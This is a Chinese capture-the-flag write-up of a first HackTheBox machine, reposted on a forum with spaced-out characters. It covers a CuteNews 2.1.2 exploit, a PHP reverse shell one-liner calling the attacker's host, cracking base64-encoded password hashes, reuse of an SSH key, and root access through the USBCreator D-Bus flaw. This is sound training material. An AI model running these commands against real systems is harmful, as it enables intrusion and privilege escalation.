搜索

[27119] 2020-12-23_hackthebox我的第一次

文档创建者：s7ckTeam
浏览次数：3
最后更新：2025-01-19
2020-12-23_hackthebox我的第一次 h a c k t h e b o x   我 的 第 一 次 原 创   徐 哥   M s 0 8 0 6 7 安 全 实 验 室   2 0 2 0 - 1 2 - 2 3 收 录 于 话 题   # 靶 场 系 列 文 章   , 2 3 个 本 文 作 者 ： t i m e （ M s 0 8 0 6 7 内 网 安 全 小 组 成 员 ） t i m e 微 信 （ 欢 迎 骚 扰 交 流 ） ： 这 是 我 第 一 次 玩   h a c k t h e b o x ， 就 找 个 尽 量 简 单 点 的 ， 拿 到 i p 先 简 单 扫 一 扫 那 肯 定 只 有 8 0 开 始 点 击 一 看
当 时 点 了 一 个 ， 就 发 现 这 样 的 链 接 （ 本 来 想 跑 目 录 ， 结 果 跑 不 动 就 没 试 了 ） 让 我 试 了 几 个 单 引 号 ， 跑 了 下   s q l m a p ， 然 后 发 现 并 没 有 ， 就 尴 尬 ， 随 后 就 点 这 个 红 色 的   R S S 随 手 删 了 一 下   r s s . p h p   看 到 登 录 页 面 再 注 册 的 时 候 发 现 P o w e r e d   b y   C u t e N e w s   2 . 1 . 2   ©   2 0 0 2 – 2 0 2 0   C u t e P H P .   ， 这 玩 意 儿 肯 定 有 漏 洞 h t t p : / / 1 0 . 1 0 . 1 0 . 2 0 6 / i n d e x . p h p ? i d = 8 h t t p : / / 1 0 . 1 0 . 1 0 . 2 0 6 / C u t e N e w s / r s s . p h p
重 点 应 该 是 后 面 两 个 ， 上 传 没 看 明 白 咋 改 变 文 件 名 ， 就 想 直 接 尝 试 第 二 个 ，   s e a r c h s p l o i t   C u t e N e w s   2 . 1 . 2   - m   4 8 8 0 0 下 载 下 来 发 现 直 接 把 u r l 放 进 去 就 可 以 ， 这 都 可 以 ？ 发 这 个 生 成 的 s h e l l ， 不 好 用 就 直 接 找 出 我 小 本 本 里 的 p h p 反 弹 s h e l l 命 令 就 到 处 找 了 很 久 ， 也 试 过   l i n u x   内 核 漏 洞 ， 就 注 意 到 h o m e 目 录 下 有 两 个 用 户 名 但 没 有 权 限 访 问 查 看 进 程 发 现 一 下 一 个 引 人 注 目 的 东 西 然 后 就 没 了 就 挺 下 来 想 这 w e b 应 该 有 些 提 示 密 码 啥 的 吧 在 w e b 目 录 下 找 到 很 久 才 发 现 这 c d a t a 目 录 下 有 东 西 p h p   - r   ' $ s o c k = f s o c k o p e n ( " 1 0 . 1 0 . 1 4 . 8 " , 4 4 4 5 ) ; e x e c ( " / b i n / b a s h   - i   < & 3   > & 3   2 > & 3 " ) ; '
看 到 u s e r s . t x t ， 平 时 看 到 别 人 文 章 在 关 键 位 置 都 发 现 u s e r s . t x t ， 在 看 u s e r s 文 件 发 现 都 是 b a s e 6 4 的 一 个 解 密 看 看 ， 发 现 有 出 现 这 两 个 用 户 ， 但 是 n a d a v 的 密 码 无 法 在 m d 5 网 站 解 密 ， 就 p a u l   解 密 出 来         a t l a n t a 1
然 后 s u 发 现 无 法 成 功 搜 索 一 下 ， 哦 原 来 这 样 就 可 以 了 然 后 就 去 看 了 p a u l 用 户 目 录 下 的 文 件 ， c a t   . * / *   直 接 全 部 查 看 看 到 有 这 个   s s h   的 私 钥 s s h   公 私 密 钥 ： 可 以 生 成 免 密 登 录 ， 分 为 公 钥 和 私 钥 ， 私 钥 才 是 登 录 密 码   s s h   - i   d o c   p a u l @ 1 0 . 1 0 . 1 0 . 2 6   P S ： 私 钥 文 件 必 须 只 能 是 6 0 0 ， 访 问 权 限 太 高 太 低 都 不 行 ， 以 为 这 是 p a u l 的 私 钥 ， 没 想 到 试 了 一 下 ， n a d a v 也 可 以 登 录 根 据 找 别 人 文 章 提 示 发 现 p y t h o n   - c   ' i m p o r t   p t y ;   p t y . s p a w n ( " / b i n / s h " ) '
发 现 U S B C r e a t o r   D - b u s 有 一 个 接 口 漏 洞 ， 使 得 攻 击 者 能 够 访 问 s u d o e r 组 中 的 用 户 ， 从 而 绕 过 s u d o 程 序 强 加 的 密 码 安 全 策 略 。 此 漏 洞 允 许 攻 击 者 以 根 用 户 身 份 覆 盖 具 有 任 意 内 容 的 任 意 文 件 ， 而 无 需 提 供 密 码 。 这 会 导 致 特 权 提 升 ， 例 如 ， 通 过 覆 盖 影 子 文 件 和 为 r o o t 设 置 密 码 。 g d b u s   c a l l   - - s y s t e m   - - d e s t   c o m . u b u n t u . U S B C r e a t o r   - - o b j e c t - p a t h   / c o m / u b u n t u / U S B C r e a t o r - - m e t h o d   c o m . u b u n t u . U S B C r e a t o r . I m a g e / r o o t / . s s h / i d _ r s a ( 未 授 权 访 问 位 置 )   / t m p / s s h ( 文 件 存 放 位 置 )   t r u e 利 用   r o o t   的 私 钥 ， 成 功 登 录 总 结 ： 总 结 ： w e b 方 面 进 入 ， 细 心 观 察 ， 耐 心 点 ， 了 解 了 s s h 的 私 钥 密 钥 问 题 ， 在 拿 到 地 权 限 ， 主 要 收 集 w e b 站 点 的 信 息 找 突 破 。 信 息 收 集 在 渗 透 中 尤 为 重 要 。 内 网 小 组 持 续 招 人 ， 扫 描 二 维 码 ， 来 一 起 玩 耍 ！ 内 网 小 组 持 续 招 人 ， 扫 描 二 维 码 ， 来 一 起 玩 耍 ！ h t t p s : / / u n i t 4 2 . p a l o a l t o n e t w o r k s . c o m / u s b c r e a t o r - d - b u s - p r i v i l e g e - e s c a l a t i o n - i n - u b u n t u - d e s k t o p /
扫 描 二 维 码 学 习 各 类 安 全 技 术 ， 邀 请 进 入 内 部 微 信 群 ！ 扫 描 二 维 码 学 习 各 类 安 全 技 术 ， 邀 请 进 入 内 部 微 信 群 ！     目 前 目 前 3 0 0 0 0 + 人 已 关 注 加 入 我 们 人 已 关 注 加 入 我 们
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理